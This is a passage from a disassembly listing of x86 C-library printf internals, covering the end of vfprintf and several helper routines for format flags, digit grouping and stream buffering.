		push	ebx

loc_8052702:				; CODE XREF: vfprintf+2BF2j
					; vfprintf+2CD0j
		call	sub_8062534
		add	[ebp+var_464], eax
		add	esp, 0Ch
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052718:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	edi, [ebp+var_4D0] ; case 0x70
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+edi+40h]
		lea	edx, [edx+edx*2]
		mov	ebx, [ebp+var_4B4]
		mov	edx, [ebx+edx*4]
		test	edx, edx
		jz	short loc_805276C
		mov	[ebp+var_4F0], 10h
		mov	[ebp+var_4C8], edx
		mov	[ebp+var_4CC], 0
		mov	dword ptr [ecx+edi+18h], 1
		mov	byte ptr [ecx+edi+8], 78h
		mov	dword ptr [ecx+edi+28h], 0
		jmp	loc_80520FB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805276C:				; CODE XREF: vfprintf+2EAEj
		mov	esi, offset aNil_0 ; "(nil)"
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi], 4
		jg	loc_805257C
		mov	dword ptr [ecx+edi], 5
		jmp	loc_805257C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052794:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	ebx, [ebp+var_4D0] ; case 0x6e
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+0Ch], 0
		jz	short loc_80527CC
		mov	edx, [edi+ebx+40h]
		lea	edx, [edx+edx*2]
		mov	ecx, [ebp+var_4B4]
		mov	eax, [ecx+edx*4]
		mov	ecx, [ebp+var_464]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80527CC:				; CODE XREF: vfprintf+2F1Dj
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+14h], 0
		jz	short loc_80527FC
		mov	edx, [edi+ebx+40h]
		lea	edx, [edx+edx*2]
		mov	ecx, [ebp+var_4B4]
		mov	edx, [ecx+edx*4]
		mov	ebx, [ebp+var_464]
		mov	[edx], ebx
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80527FC:				; CODE XREF: vfprintf+2F55j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+10h], 0
		jnz	short loc_805282C
		mov	edx, [ecx+edi+40h]
		lea	edx, [edx+edx*2]
		mov	ebx, [ebp+var_4B4]
		mov	edx, [ebx+edx*4]
		mov	edi, [ebp+var_464]
		mov	[edx], edi
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805282C:				; CODE XREF: vfprintf+2F85j
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		mov	edx, [ebx+ecx+40h]
		lea	edx, [edx+edx*2]
		mov	edi, [ebp+var_4B4]
		mov	edx, [edi+edx*4]
		mov	cx, word ptr [ebp+var_464]
		mov	[edx], cx
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052858:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		push	3E8h		; case 0x6d
		lea	edx, [ebp+var_3E8]
		push	edx
		mov	edx, __errno
		push	edx
		call	sub_8056E14
		mov	esi, eax
		add	esp, 0Ch
		jmp	loc_805257C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805287C:				; CODE XREF: vfprintf+2401j
					; vfprintf+2407j
					; DATA XREF: ...
		cmp	dword_807888C, 0 ; default
		jz	short loc_80528A4
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		movzx	ebx, byte ptr [edi+ebx+8]
		mov	edx, dword_807888C
		mov	eax, [edx+ebx*4]
		jmp	short loc_80528A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80528A4:				; CODE XREF: vfprintf+2FFBj
		xor	eax, eax

loc_80528A6:				; CODE XREF: vfprintf+3017j
		test	eax, eax
		jnz	short loc_80528AF
		mov	eax, offset sub_80529CC

loc_80528AF:				; CODE XREF: vfprintf+2BFDj
					; vfprintf+3020j
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		mov	ecx, [ebx+ecx+48h]
		lea	edx, ds:0[ecx*4]
		sub	esp, edx
		mov	[ebp+var_4F0], esp
		xor	esi, esi
		jmp	short loc_80528FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80528D4:				; CODE XREF: vfprintf+307Ej
		mov	edx, esi
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		add	edx, [ebx+ecx+40h]
		lea	edx, [edx+edx*2]
		mov	edi, [ebp+var_4B4]
		lea	edx, [edi+edx*4]
		mov	ecx, [ebp+var_4F0]
		mov	[ecx+esi*4], edx
		inc	esi

loc_80528FC:				; CODE XREF: vfprintf+3048j
		mov	edi, [ebp+var_4D0]
		cmp	[ebx+edi+48h], esi
		ja	short loc_80528D4
		mov	ecx, [ebp+var_4F0]
		push	ecx
		mov	edx, [ebp+var_4AC]
		add	edx, [ebp+var_4D0]
		push	edx
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jl	loc_8050E72	; case 0x0
		add	[ebp+var_464], eax

loc_8052933:				; CODE XREF: vfprintf+2596j
					; vfprintf+2BD6j ...
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+50h]
		mov	[ebp+var_4E0], edi
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		mov	edx, [ebx+ecx+34h]
		sub	edx, [ebx+ecx+30h]
		push	edx
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+edi+30h]
		push	edx
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	edi, [ebp+var_4E0]
		mov	edx, [edi+34h]
		call	edx
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		mov	edx, [ebx+ecx+34h]
		sub	edx, [ebx+ecx+30h]
		add	esp, 0Ch
		cmp	eax, edx
		jnz	loc_8050E72	; case 0x0
		add	[ebp+var_464], eax
		add	[ebp+var_4D0], 58h
		inc	[ebp+var_460]
		mov	edi, [ebp+var_4A4]
		cmp	[ebp+var_460], edi
		jb	loc_8051C08

loc_80529B8:				; CODE XREF: vfprintf+FFj
					; vfprintf+15DAj ...
		mov	eax, [ebp+var_464]

loc_80529BE:				; CODE XREF: vfprintf+54j
					; vfprintf+15EFj
		lea	esp, [ebp+var_500]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
vfprintf	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80529CC	proc near		; DATA XREF: vfprintf+3022o

var_410		= byte ptr -410h
var_404		= dword	ptr -404h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_80529FC
		push	25h
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052A05
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80529FC:				; CODE XREF: sub_80529CC+17j
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	25h
		inc	dword ptr [ebx+14h]

loc_8052A05:				; CODE XREF: sub_80529CC+2Dj
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jz	short loc_8052A3A
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052A30
		push	23h
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052A39
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052A30:				; CODE XREF: sub_80529CC+49j
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	23h
		inc	dword ptr [ebx+14h]

loc_8052A39:				; CODE XREF: sub_80529CC+5Fj
		inc	edi

loc_8052A3A:				; CODE XREF: sub_80529CC+41j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_8052A6E
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052A64
		push	27h
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052A6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052A64:				; CODE XREF: sub_80529CC+7Dj
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	27h
		inc	dword ptr [ebx+14h]

loc_8052A6D:				; CODE XREF: sub_80529CC+93j
		inc	edi

loc_8052A6E:				; CODE XREF: sub_80529CC+75j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_8052AA0
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052A98
		push	2Bh

loc_8052A81:				; CODE XREF: sub_80529CC+E7j
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052AC1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052A98:				; CODE XREF: sub_80529CC+B1j
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	2Bh
		jmp	short loc_8052ABE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052AA0:				; CODE XREF: sub_80529CC+A9j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+1Ch], 0
		jz	short loc_8052AC2
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052AB8
		push	20h
		jmp	short loc_8052A81
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052AB8:				; CODE XREF: sub_80529CC+E3j
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	20h

loc_8052ABE:				; CODE XREF: sub_80529CC+D2j
		inc	dword ptr [ebx+14h]

loc_8052AC1:				; CODE XREF: sub_80529CC+C7j
		inc	edi

loc_8052AC2:				; CODE XREF: sub_80529CC+DBj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jz	short loc_8052AF6
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052AEC
		push	2Dh
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052AF5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052AEC:				; CODE XREF: sub_80529CC+105j
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	2Dh
		inc	dword ptr [ebx+14h]

loc_8052AF5:				; CODE XREF: sub_80529CC+11Bj
		inc	edi

loc_8052AF6:				; CODE XREF: sub_80529CC+FDj
		mov	ecx, [ebp+arg_4]
		cmp	byte ptr [ecx+2Ch], 30h
		jnz	short loc_8052B2A
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052B20
		push	30h
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052B29
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052B20:				; CODE XREF: sub_80529CC+139j
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	30h
		inc	dword ptr [ebx+14h]

loc_8052B29:				; CODE XREF: sub_80529CC+14Fj
		inc	edi

loc_8052B2A:				; CODE XREF: sub_80529CC+131j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_8052BA5
		mov	eax, [ecx+4]
		mov	[ebp+var_404], ebp

loc_8052B3C:				; CODE XREF: sub_80529CC+193j
		dec	[ebp+var_404]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	esi, eax
		mov	al, byte ptr ds:a0123456789abcd[edx] ; "0123456789abcdefghijklmnopqrstuvwxyz"
		mov	ecx, [ebp+var_404]
		mov	[ecx], al
		mov	eax, esi
		test	eax, eax
		jnz	short loc_8052B3C
		mov	esi, [ebp+var_404]
		jmp	short loc_8052B9D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052B6C:				; CODE XREF: sub_80529CC+1D7j
		movzx	edx, byte ptr [esi]
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052B88
		movzx	eax, dl
		push	eax
		push	ebx
		call	sub_8061910
		add	esp, 8
		jmp	short loc_8052B93
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052B88:				; CODE XREF: sub_80529CC+1A9j
		mov	eax, [ebx+14h]
		mov	[eax], dl
		movzx	eax, dl
		inc	dword ptr [ebx+14h]

loc_8052B93:				; CODE XREF: sub_80529CC+1B8j
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		inc	edi

loc_8052B9D:				; CODE XREF: sub_80529CC+19Bj
		inc	esi
		lea	eax, [ebp+var_1]
		cmp	esi, eax
		jbe	short loc_8052B6C

loc_8052BA5:				; CODE XREF: sub_80529CC+165j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	loc_8052C4D
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052BD0
		push	2Eh
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8052C84
		jmp	short loc_8052BD9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052BD0:				; CODE XREF: sub_80529CC+1EBj
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [ebx+14h]

loc_8052BD9:				; CODE XREF: sub_80529CC+201j
		inc	edi
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx]
		mov	[ebp+var_404], ebp
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8052BE8:				; CODE XREF: sub_80529CC+23Fj
		dec	[ebp+var_404]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	esi, eax
		mov	al, byte ptr ds:a0123456789abcd[edx] ; "0123456789abcdefghijklmnopqrstuvwxyz"
		mov	ecx, [ebp+var_404]
		mov	[ecx], al
		mov	eax, esi
		test	eax, eax
		jnz	short loc_8052BE8
		mov	esi, [ebp+var_404]
		jmp	short loc_8052C45
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052C18:				; CODE XREF: sub_80529CC+27Fj
		movzx	edx, byte ptr [esi]
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052C34
		movzx	eax, dl
		push	eax
		push	ebx
		call	sub_8061910
		add	esp, 8
		jmp	short loc_8052C3F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052C34:				; CODE XREF: sub_80529CC+255j
		mov	eax, [ebx+14h]
		mov	[eax], dl
		movzx	eax, dl
		inc	dword ptr [ebx+14h]

loc_8052C3F:				; CODE XREF: sub_80529CC+264j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8052C84
		inc	edi

loc_8052C45:				; CODE XREF: sub_80529CC+247j
		inc	esi
		lea	eax, [ebp+var_1]
		cmp	esi, eax
		jbe	short loc_8052C18

loc_8052C4D:				; CODE XREF: sub_80529CC+1DFj
		mov	ecx, [ebp+arg_4]
		cmp	byte ptr [ecx+8], 0
		jz	short loc_8052C8D
		movzx	edx, byte ptr [ecx+8]
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_8052C74
		movzx	eax, dl
		push	eax
		push	ebx
		call	sub_8061910
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8052C84
		jmp	short loc_8052C8C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052C74:				; CODE XREF: sub_80529CC+294j
		mov	eax, [ebx+14h]
		mov	[eax], dl
		movzx	eax, dl
		inc	dword ptr [ebx+14h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8052C8C

loc_8052C84:				; CODE XREF: sub_80529CC+27j
					; sub_80529CC+59j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8052C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052C8C:				; CODE XREF: sub_80529CC+2A5j
					; sub_80529CC+2B6j
		inc	edi

loc_8052C8D:				; CODE XREF: sub_80529CC+288j
		mov	eax, edi

loc_8052C8F:				; CODE XREF: sub_80529CC+2BDj
		lea	esp, [ebp+var_410]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80529CC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8052C9C	proc near		; CODE XREF: vfprintf+DDFp
					; vfprintf+F4Ap ...

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		cmp	byte ptr [edi],	0FFh
		jz	loc_8052D85
		movzx	edx, byte ptr [edi]
		mov	[ebp+var_4], edx
		mov	ebx, [ebp+arg_4]
		sub	ebx, esi
		mov	eax, ebx
		add	eax, 3
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_8], esp
		lea	eax, [esi+1]
		push	ebx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	memcpy
		mov	edx, [ebp+var_8]
		lea	ecx, [edx+ebx-1]
		mov	esi, [ebp+arg_4]
		cmp	ecx, edx
		jb	loc_8052D85
		nop

loc_8052CEC:				; CODE XREF: sub_8052C9C+E3j
		mov	al, [ecx]
		mov	[esi], al
		dec	ecx
		dec	esi
		dec	[ebp+var_4]
		jnz	loc_8052D7C
		cmp	[ebp+var_8], ecx
		ja	loc_8052D85
		mov	al, [ebp+arg_C]
		mov	[esi], al
		dec	esi
		movzx	ebx, byte ptr [edi]
		mov	[ebp+var_4], ebx
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_8052D1C
		dec	edi
		jmp	short loc_8052D7C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052D1C:				; CODE XREF: sub_8052C9C+78j
		cmp	byte ptr [edi],	0FFh
		jnz	short loc_8052D7C
		mov	edx, [ebp+var_8]
		dec	edx
		mov	eax, edx
		sub	eax, ecx
		and	eax, 3
		cmp	ecx, edx
		jle	short loc_8052D4A
		test	eax, eax
		jz	short loc_8052D58
		cmp	eax, 3
		jge	short loc_8052D4A
		cmp	eax, 2
		jge	short loc_8052D44
		mov	al, [ecx]
		mov	[esi], al
		dec	ecx
		dec	esi

loc_8052D44:				; CODE XREF: sub_8052C9C+A0j
		mov	al, [ecx]
		mov	[esi], al
		dec	ecx
		dec	esi

loc_8052D4A:				; CODE XREF: sub_8052C9C+92j
					; sub_8052C9C+9Bj
		mov	al, [ecx]
		mov	[esi], al
		dec	ecx
		dec	esi
		cmp	[ebp+var_8], ecx
		ja	short loc_8052D85
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8052D58:				; CODE XREF: sub_8052C9C+96j
					; sub_8052C9C+DBj
		mov	al, [ecx]
		mov	[esi], al
		mov	al, [ecx-1]
		mov	[esi-1], al
		mov	al, [ecx-2]
		mov	[esi-2], al
		mov	al, [ecx-3]
		mov	[esi-3], al
		add	ecx, 0FFFFFFFCh
		add	esi, 0FFFFFFFCh
		cmp	[ebp+var_8], ecx
		jbe	short loc_8052D58
		jmp	short loc_8052D85
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052D7C:				; CODE XREF: sub_8052C9C+59j
					; sub_8052C9C+7Bj ...
		cmp	[ebp+var_8], ecx
		jbe	loc_8052CEC

loc_8052D85:				; CODE XREF: sub_8052C9C+12j
					; sub_8052C9C+49j ...
		mov	eax, esi
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8052C9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8052D94	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+54h]
		mov	edx, [ebx+14h]
		sub	edx, [ebx+10h]
		jz	short loc_8052DBB
		mov	eax, [esi+50h]
		push	edx
		mov	edx, [ebx+10h]
		push	edx
		push	esi
		mov	eax, [eax+34h]
		call	eax
		sub	[ebx+14h], eax
		add	esp, 0Ch

loc_8052DBB:				; CODE XREF: sub_8052D94+11j
		mov	edx, [ebx+14h]
		cmp	[ebx+18h], edx
		jbe	short loc_8052DD4
		mov	al, [ebp+arg_4]
		mov	[edx], al
		and	eax, 0FFh
		inc	dword ptr [ebx+14h]
		jmp	short loc_8052DDF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052DD4:				; CODE XREF: sub_8052D94+2Dj
		movzx	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_8061910

loc_8052DDF:				; CODE XREF: sub_8052D94+3Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8052D94	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8052DE8	proc near		; CODE XREF: vfprintf+4Fp

var_464		= byte ptr -464h
var_458		= dword	ptr -458h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 458h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	ecx, [ebp+var_458]
		mov	[ebp+var_404], esi
		lea	eax, [ebp+var_400]
		mov	[ebp+var_448], eax
		mov	[ebp+var_444], eax
		mov	[ebp+var_440], ebp
		mov	[ebp+var_458], 0FBAD0004h
		mov	[ebp+var_408], (offset aN6+2)
		push	edx
		push	ebx
		push	ecx
		call	vfprintf
		mov	edi, eax
		mov	ebx, [ebp+var_444]
		sub	ebx, [ebp+var_448]
		add	esp, 0Ch
		test	ebx, ebx
		jle	short loc_8052E70
		mov	eax, [esi+50h]
		push	ebx
		mov	edx, [ebp+var_448]
		push	edx
		push	esi
		mov	eax, [eax+34h]
		call	eax
		cmp	eax, ebx
		jz	short loc_8052E70
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8052E72
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052E70:				; CODE XREF: sub_8052DE8+68j
					; sub_8052DE8+7Dj
		mov	eax, edi

loc_8052E72:				; CODE XREF: sub_8052DE8+84j
		lea	esp, [ebp+var_464]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8052DE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8052E80	proc near		; CODE XREF: sub_804F820+26p
					; sub_8052F34+12p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_8052EA8
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	ebx, [eax-1]
		jmp	short loc_8052ED3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052EA8:				; CODE XREF: sub_8052E80+11j
		test	ebx, ebx
		jge	short loc_8052ED3
		mov	edx, 400h
		lea	eax, [esi+400h]
		cmp	eax, esi
		jbe	short loc_8052ED1
		nop

loc_8052EBC:				; CODE XREF: sub_8052E80+4Fj
		cmp	edx, 3FFFFFFh
		jg	short loc_8052ED1
		add	edx, edx
		test	edx, edx
		jle	short loc_8052ED1
		lea	eax, [edx+esi]
		cmp	eax, esi
		ja	short loc_8052EBC

loc_8052ED1:				; CODE XREF: sub_8052E80+39j
					; sub_8052E80+42j ...
		mov	ebx, edx

loc_8052ED3:				; CODE XREF: sub_8052E80+26j
					; sub_8052E80+2Aj
		push	0
		lea	ecx, [ebx+esi]
		mov	[ebp+var_4], ecx
		push	ecx
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8061B6C
		mov	[edi+10h], esi
		mov	[edi+0Ch], esi
		mov	[edi+4], esi
		cmp	[ebp+arg_C], 0
		jz	short loc_8052F0C
		mov	ecx, [ebp+arg_C]
		mov	[edi+14h], ecx
		mov	ecx, [ebp+var_4]
		mov	[edi+18h], ecx
		mov	ecx, [ebp+arg_C]
		mov	[edi+8], ecx
		jmp	short loc_8052F1A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052F0C:				; CODE XREF: sub_8052E80+73j
		mov	edi, [ebp+arg_0]
		mov	[edi+14h], esi
